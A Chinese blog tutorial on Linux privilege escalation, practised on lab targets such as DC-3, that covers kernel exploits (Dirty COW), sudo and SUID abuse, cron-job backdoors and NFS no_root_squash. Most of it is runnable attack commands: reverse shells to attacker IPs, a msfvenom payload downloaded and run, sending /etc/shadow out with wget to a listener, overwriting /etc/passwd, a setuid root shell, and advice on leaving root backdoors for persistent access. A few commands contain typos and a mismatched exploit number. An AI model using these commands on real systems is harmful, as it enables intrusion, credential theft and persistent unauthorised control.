• 生命在于学习——Linux提权


    在这里插入图片描述
    本篇文章仅用于学习记录,不得用于其他违规用途。

    一、内核漏洞提权

    1、常规查找

    查看内核版本信息

    uname -a
    uname -r
    
    • 1
    • 2

    查看系统发行版本

    cat /etc/issue
    cat /etc/*-release
    
    Ubuntu 16.04
    4.4.0-21-generic
    
    • 1
    • 2
    • 3
    • 4
    • 5

    搜索该版本漏洞,把对应版本的文件上传到服务器编译执行

    searchsploit Ubuntu16.04
    searchsploit -u #更新数据库
    
    • 1
    • 2

    2、Ubuntu 16.04提权

    DC-3 靶机做实验 , 开局一个shell
    http://192.168.0.189/templates/beez3/error.php
    /bin/bash -i >& /dev/tcp/192.168.101.48/5656 0>&1 
    DC-3下载地址
    https://www.vulnhub.com/entry/dc-32,312/
    后台
    http://192.168.101.123/administrator/
    admin snoopy
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    发现是ubuntu16.04内核版本是4.4.0-21的,直接通过kali里面的漏洞库,搜索一下是否有exp

    searchsploit Ubuntu 16.04
    
    • 1

    在这里插入图片描述
    这里我们使用33772.txt这个文件里的exp提权

    查看文件内容
    cat /usr/share/exploitdb/exploits/linux/local/39772.txt
    
    • 1
    • 2

    在这里插入图片描述
    下载好后 , 通过python开启http服务 , 把压缩包下载到靶机上

    python3 -m http.servev 8080 --bind 192.168.42.142 
    wget http://192.168.0.36:8000/39772.zip
    
    • 1
    • 2

    接下来就是解压提权了

    unzip 39772.zip cd 39772
    tar -xvf exploit.tar ls
    cd ebpf_mapfd_doubleput_exploit ls
    ./compile.sh
    ./doubleput
    whoami
    cat /etc/shadow
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在这里插入图片描述

    3、脏牛提权

    msf靶机演示
    CVE-2016-5195 
    Linux kernel < 4.8.3 ( 使用msf靶机演示 )
    
    • 1
    • 2
    • 3

    前提环境

    msf上线
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.96 LPORT=8001 -f elf -o /tmp/shell.elf
    cd /tmp
    python3 -m http.server
    msf监听
    msfconsole -r handler.rc
    set payload linux/x86/meterpreter/reverse_tcp run -j
    靶机上操作
    wget http://192.168.6.73:8000/shell.elf chmod +x shell.elf
    nohup ./shell.elf &
    msf上线
    getuid # 查看权限 shell
    cat /etc/shadow
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    exp下载地址:https://github.com/FireFart/dirtycow , 将下载好的exp放到msf这台机器上

    # 通过python切换成交互式shell
    python -c 'import pty; pty.spawn("/bin/bash")' cat /etc/shadow
    uname -a
    cd /tmp
    wget http://192.168.0.36:8000/dirtycow-master.zip unzip dirtycow-master.zip
    cd dirtycow-master
    gcc -pthread dirty.c -o dirty -lcrypt
    ./dirty
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    在这里插入图片描述

    su firefart 123456
    cat /etc/shadow
    
    • 1
    • 2

    在这里插入图片描述
    实际上做的是备份+修改/etc/passwd文件 , 如果你想恢复的话执行以下命令

    mv /tmp/passwd.bak /etc/passwd
    
    • 1

    二、滥用sudo提权

    1、什么是sudo

    sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等,这样不仅减少了root用户的登录和管理时间,同样也提高了安全性,sudo不是对shell的一个代替,它是面向每个命令的基础。

    它的特性主要有这样几点: sudo能够限制用户只在某台主机上运行某些命令。
    sudo提供了丰富的日志,详细地记录了每个用户干了什么。它能够将日志传到中心主机或者日志服务 器。
    sudo使用时间戳文件来执行类似的“检票”系统。当用户调用sudo并且输入它的密码时,用户获得了 一张存活期为5分钟的票(这个值可以在编译的时候改变)。
    sudo的配置文件是sudoers文件,它允许系统管理员集中的管理用户的使用权限和使用的主机。它所存 放的位置默认是在/etc/sudoers,属性必须为0440。
    在sudo于1980年前后被写出之前,一般用户管理系统的方式是利用su切换为超级用户。但是使用su的 缺点之一在于必须要先告知超级用户的密码。
    sudo使一般用户不需要知道超级用户的密码即可获得权限。首先超级用户将普通用户的名字、可以执 行的特定命令、按照哪种用户或用户组的身份执行等信息,登记在特殊的文件中(通常 是/etc/sudoers),即完成对该用户的授权(此时该用户称为“sudoer ”);在一般用户需要取得特 殊权限时,其可在命令前加上“sudo”,此时sudo将会询问该用户自己的密码(以确认终端机前的是 该用户本人),回答后系统即会将该命令的进程以超级用户的权限运行。之后的一段时间内(默认为5 分钟,可在/etc/sudoers自定义),使用sudo不需要再次输入密码。
    由于不需要超级用户的密码,部分Unix系统甚至利用sudo使一般用户取代超级用户作为管理帐号,例 如Ubuntu、Mac OS X等。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    参数说明

    -V 显示版本编号
    -h 会显示版本编号及指令的使用方式说明
    -l 显示出自己(执行 sudo 的使用者)的权限
    -v 因为 sudo 在第一次执行时或是在 N 分钟内没有执行(N 预设为五)会问密码,这个参数是重新做 一次确认,如果超过 N 分钟,也会问密码
    -k 将会强迫使用者在下一次执行 sudo 时问密码(不论有没有超过 N 分钟)
    -b 将要执行的指令放在背景执行
    -p prompt 可以更改问密码的提示语,其中 %u 会代换为使用者的帐号名称, %h 会显示主机名称
    -u username/#uid 不加此参数,代表要以 root 的身份执行指令,而加了此参数,可以以 username 的身份执行指令(#uid 为该 username 的使用者号码)
    -s 执行环境变数中的 SHELL 所指定的 shell ,或是 /etc/passwd 里所指定的 shell
    -H 将环境变数中的 HOME (家目录)指定为要变更身份的使用者家目录(如不加 -u 参数就是系统管 理者 root )
    command 要以系统管理者身份(或以 -u 更改为其他人)执行的指令
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    2、sudoer文件语法

    sudoers文件主要有三部分组成

    sudoers的默认配置(default),主要设置sudo的一些缺省值 alias(别名),主要有Host_Alias|Runas_Alias|User_Alias|Cmnd_Alias。 安全策略(规则定义)——重点。
    语法
    root ALL=(ALL) ALL
    说明1:root用户可以从 ALL终端作为 ALL(任意)用户执行,并运行 ALL(任意)命令。 第一部分是用户,第二部分是用户可以在其中使用sudo命令的终端,第三部分是他可以充当的用户, 最后一部分是他在使用时可以运行的命令。sudo
    touhid ALL= /sbin/poweroff 说明2:以上命令,使用户可以从任何终端使用touhid的用户密码关闭命令电源。
    touhid ALL = (root) NOPASSWD:/usr/bin/find 说明3:上面的命令,使用户可以从任何终端运行,以root用户身份运行命令find 而无需密码。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    设置某个用户执行某个命令sudo免密码

    vim /etc/sudoers
    在最后一行添加
    当前用户名 ALL = (root) NOPASSWD:/usr/bin/find , 如 derian ALL = (root) NOPASSWD:/usr/bin/find
    所有sudo命令不需要密码
    vi /etc/sudoers
    用户名 ALL=(ALL:ALL) NOPASSWD:ALL
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    3、利用sudo提权

    vim /etc/sudoers
    在最后一行添加
    当前用户名 ALL = (root) NOPASSWD:/usr/bin/find
    所有sudo命令不需要密码
    vi /etc/sudoers
    用户名 ALL=(ALL:ALL) NOPASSWD:ALL
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    sudo -l #显示允许当前用户使用的命令
    在这里插入图片描述

    4、find命令

    sudo find /etc/passwd -exec /bin/sh \; # 查看当前用户
    sudo find /etc/passwd -exec whoami \; # 查看shadow
    sudo find /etc/passwd -exec cat /etc/shadow \;
    
    • 1
    • 2
    • 3

    5、vim命令

    sudo vim -c '!sh'
    
    • 1

    6、nmap命令

    适用版本:nmap2.02至5.21 在早期nmap版本中,带有交互模式,因而允许用户执行shell命令 使用如下命令进入nmap交互模式

    nmap --interactive
    
    • 1

    在nmap交互模式中 通过如下命令提权

    nmap> !sh 
    sh-3.2# whoami 
    root
    
    • 1
    • 2
    • 3

    没有交互的最新方式

    echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap —script = /tmp/shell.nse
    
    • 1

    7、git命令

    sudo git -p help 或者 sudo git help config !/bin/sh
    # whoami root
    
    • 1
    • 2

    8、teehee命令

    teehee命令可以往一个文件追加内容,可以通过它向/etc/passwd写入内容,新增一个超级用户

    echo "test::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
    su test
    whoami
    
    • 1
    • 2
    • 3

    9、man命令

    sudo man man 
    之后按!
     按下并按Enter
    
    • 1
    • 2
    • 3

    10、less/more命令

    sudo less /etc/hosts
     sudo more /etc/hosts
    之后按! 
    按下并按Enter
    
    • 1
    • 2
    • 3
    • 4

    11、awk命令

    akw命令进入shell

    sudo awk 'BEGIN {system("/bin/bash")}'
    
    • 1

    12、nano命令

    nano也算是比较上古的文本编辑器了,nano进入shell的方法为

    sudo nano #进入nano编辑器 Ctrl + R
    Ctrl + X
    #即可输入命令
    
    • 1
    • 2
    • 3

    13、wget命令

    这种非常酷的方式要求Web服务器下载文件。这样我从没在任何地方见过。让我们解释一下。
    首先将Target的/etc/passwd文件复制到攻击者计算机。 修改文件,并在上一步中保存的密码文件中添加用户到攻击者计算机。 仅附加此行=>
    touhid:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ8 21kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0/0:b:root/root:
    将passwd文件托管到使用任何Web服务器的主机。
    在受害者方面。
    sudo wget http://192.168.56.1:8080/passwd -O /etc/passwd
    现在切换用户密码是:test
    su touhid
    注意:如果您要从服务器上转储文件,例如 root 的 ssh 密钥, shadow 文件等。 sudo wget —post-file = /etc/shadow 192.168.56.1:8080 攻击者的设置侦听器:nc –lvp 8080
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    14、zip提权

    首先,我们使用touch命令创建一个文件,我们已创建了一个raj.txt文件,现在我们通过zip文件压缩 raj.txt文件,并执行一个获取shell的命令。如下:

    sudo zip 1.zip raj.txt -T --unzip-command="sh -c /bin/bash"
    
    • 1

    可以看到,我们已经通过zip命令成功获取到了受害者机器的shell。
    在这里插入图片描述

    三、suid提权

    SUID是一种特殊权限,可以让调用者在执行过程中暂时获得该文件拥有者的权限。如果可以找到并运行 root用户所拥有的SUID的文件,那么就可以在运行该文件的时候获得root用户权限 , 简单来说就是 文件的拥有者是root , 然后这个文件又可以通过某语法执行系统命令 , 那么你就可以提升到root权限了

    1、寻找suid文件

    在Linux中查找可以用来提权的suid文件

    find / -perm -u=s -type f 2>/dev/null
    /表示从文件系统的顶部()开始并找到每个目录
    -perm 表示搜索随后的权限 -u = s表示查找root用户拥有的文件
    -type 表示我们正在寻找的文件类型 f 表示常规文件,而不是目录或特殊文件 2表示该进程的第二个文件描述符,即stderr(标准错误)
    >表示重定向 /dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
    另外两个相同的查找命令
    find / -user root -perm -4000 -print 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} \;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    跟滥用sudo的原理差不多 , 也是列举几个常见的命令 , SUID提权和SUDO提权是通用的

    2、find命令

    find比较常用,find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用 SUID权限运行,则可以通过find执行的命令都将以root身份去运行。
    提权如下:

    touch anyfile(文件路径) #必须要有这个文件 
    find anyfile -exec whoami \;
    
    • 1
    • 2

    在这里插入图片描述

    3、vin/vim命令

    在这里插入图片描述

    4、bash命令

    以下命令将以root身份打开一个bash shell。

    ./bash -p
    bash-3.2# id
    uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
    
    • 1
    • 2
    • 3

    5、more/less命令

    less命令也可以进入shell

    less /etc/passwd
    #在less中输入:
    !/bin/sh
    
    • 1
    • 2
    • 3

    more命令进入shell和less相同

    more /etc/passwd
    #在more中输入:
    !/bin/sh
    
    • 1
    • 2
    • 3

    6、nano命令

    nano进入shell的方法为

    nano #进入nano编辑器 Ctrl + R
    Ctrl + X
    #即可输入命令
    
    • 1
    • 2
    • 3

    7、mv/cp命令

    使用 mv/cp 命令覆盖原来的 /etc/passwd 文件

    8、awk命令

    awk命令进入shell

    awk 'BEGIN {system("/bin/bash")}'
    
    • 1

    在这里插入图片描述

    9、nmap命令

    nmap是一个经典的端口扫描工具,当目标主机存在版本在2.02-5.21之间的nmap且os的版本在上面受 影响的范围内或更早就可以尝试使用这种方法进行提权

    nmap -v #查看版本
    nmap --interactive # 进入交互模式
    
    • 1
    • 2
    进入shell
    nmap> !sh
     sh-3.2# whoami
      root
    
    • 1
    • 2
    • 3
    • 4

    10、man命令

    man passwd 
    !/bin/bash
    
    • 1
    • 2

    11、tcpdump命令

    echo $'id\ncat /etc/shadow' > /tmp/.test
    chmod +x /tmp/.test
    sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
    
    • 1
    • 2
    • 3

    12、python/per/ruby/lua/php/etc命令

    # python
    python -c "import os;os.system('/bin/bash')"
    # perl
    exec "/bin/bash";
    
    • 1
    • 2
    • 3
    • 4

    四、计划任务提权

    如果可以 找到可以有权限修改的计划任务脚本,就可以修改脚本实现提权 。本质上,就是文件权限配置不当 查看计划任务,找到有修改权限的计划任务脚本 , 在计划任务对应中追加提权后门

    more /etc/crontab
    
    • 1

    在这里插入图片描述
    在mysqlback.sh 添加 SUID shell后门,当定时任务以root再次执行的时候,可以获取root权限

    root权限下
    vim /tmp/test.sh
    #!/bin/sh
    ping qq.com -c 4
    vim /etc/crontab
    */1 * * * * root /bin/bash /tmp/test.sh
    chmod 777 /tmp/test.sh
    vim /tmp/test.sh
    /bin/bash -i >& /dev/tcp/192.168.0.96/5656 0>&1
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    五、第三方服务NFS提权

    1、什么是NFS

    网络文件系统(NFS )是一个客户端/服务器应用程序 ,它使计算机用户可以查看和选择存储和更新远 程计算机上的文件,就像它们位于用户自己的计算机上一样。在NFS协议是几个分布式文件系统标准, 网络附加存储(NAS)之一。
    NFS是基于UDP/IP协议的应用,其实现主要是采用远程过程调用RPC机制,RPC提供了一组与机器、 操作系统以及低层传送协议无关的存取远程文件的操作。RPC采用了XDR的支持。XDR是一种与机器无 关的数据描述编码的协议,他以独立与任意机器体系结构的格式对网上传送的数据进行编码和解码,支 持在异构系统之间数据的传送。
    
    • 1
    • 2

    2、什么是root_sqaush和no_root_sqaush

    Root Squashing(root_sqaush)参数阻止对连接到NFS卷的远程root用户具有root访问权限。远程 根用户在连接时会分配一个用户 "nfsnobody",它具有最少的本地特权。如果no_root_squash选项开 启的话,并为远程用户授予root用户对所连接系统的访问权限 , 即攻击者用本地root用户链接 , 在目标 系统操作的权限也是root权限
    注意:要利用此,no_root_squash选项得开启。
    root_squash:客户机用root用户访问该共享文件夹时,将root用户映射成匿名用户(默认设置); no_root_squash:客户机用root访问该共享文件夹时,不映射root用户为匿名用户 , 依然是root用 户;
    
    • 1
    • 2
    • 3

    3、利用NFS提权

    首先拿到一个低权限的shell,查看目标服务器上是否开启了NFS

    cat /etc/exports # 如果啥也没有就是没有开启nfs,也就无法提权了
    
    • 1

    实验靶机 centos7配置nfs

    # 安装
    yum install -y nfs-utils
    # 启动服务
    systemctl start rpcbind.service systemctl start nfs-server.service
    # 设置开机自动启动
    systemctl enable rpcbind.service
    systemctl enable nfs-server.service
    # 修改配置文件
    vim /etc/exports
    /tmp *(rw,sync,insecure,no_root_squash,no_subtree_check) # 使配置生效
    exportfs -a
    # 查看共享目录
    showmount -e
    # 关闭防火墙
    systemctl stop firewalld.service
    # 查看服务
    systemctl status rpcbind.service systemctl status nfs-server.service
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    此时查看nfs配置
    在这里插入图片描述
    /etc/exports 文件包含将哪些文件夹/文件系统导出到远程用户的配置和权限。

    这个文件的内容非常简单,每一行由抛出路径,客户名列表以及每个客户名后紧跟的访问选项构成: [共享的目录] [主机名或IP(参数,参数)] , 其中参数是可选的,当不指定参数时,nfs将使用默认选项。 默认的共享选项是 sync,ro,root_squash,no_delay。当主机名或IP地址为空或者*时,则代表共享给任 意客户机提供服务。当将同一目录共享给多个客户机,但对每个客户机提供的权限不同时,可以这样: [共享的目录] [主机名1或IP1(参数1,参数2)] [主机名2或IP2(参数3,参数4)]
    
    • 1

    很简单就是当nfs配置了no_root_squash,客户端就具有了这台nfs机器的root权限,即其他机器链接他的话是一个root权限:
    1、查看NFS服务器上的共享目录,kali上操作

    showmount -e 192.168.0.84 目标ip
    
    • 1

    2、创建本地挂载目录,挂载共享目录,使用攻击者本地root权限创建suid shell

    mkdir -p /tmp/test
    mount -t nfs 192.168.0.84:/tmp /tmp/test
    vim /tmp/test/suid-shell.c # 内容如下
    #include  #include  #include 
    #include 
    int main() { setuid(0); system("/bin/bash"); return 0; }
    # 编译
    gcc /tmp/test/suid-shell.c -o /tmp/test/suid-shell chmod +s /tmp/test/suid-shell
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    3、回到要提权的服务器上,使用普通用户获取root权限

    cat /etc/shadow # 证明没权限 /tmp/suid-shell
    cat /etc/shadow # 证明有权限 , 提权成功
    # 然后 ( 一般先上线cs , 或者留个root权限的后门 , 总之就是能持续控制)
    # root权限后门留好 , 取消挂载
    sudo umount /tmp/test
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述

    六、总结

    1.系统内核漏洞提权 , 脏牛提权
    2.sudo 命令滥用提权 , 查看有那些不需要密码就可以执行的sudo命令 , 比如 find , git等 可以用来提权 3.suid提权 , 寻找带有s属性 , 又可以执行命令的可执行文件
    4.计划任务提权 , 通过寻找可以修改计划任务的脚本
    5.第三方服务配置不当提权 , 比如 nfs 配置不当提权
    6.udf提权 , 利用mysql数据库进行提权
    7.复现过影响范围比较广的提权漏洞 , 如 sudo提权 pkexec提权 , 脏管道提权
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
  • 相关阅读:
    Set和Multiset容器(C++)
    先有JVM还是先有垃圾回收器?很多人弄混淆了
    高可用集群 keepalived
    前端VUE---JS实现数据的模糊搜索
    neo4j 删除从一个node开始的所有数据。
    在浏览器页面提交信息和上传文件
    【周阳-JUC入门】【02】Callable_ForkJoin_异步回调
    学习鸿蒙基础(12)
    【kubernetes】使用helm部署redis
    五金零售批发商城小程序的作用是什么
  • 原文地址:https://blog.csdn.net/qq_15131581/article/details/127663366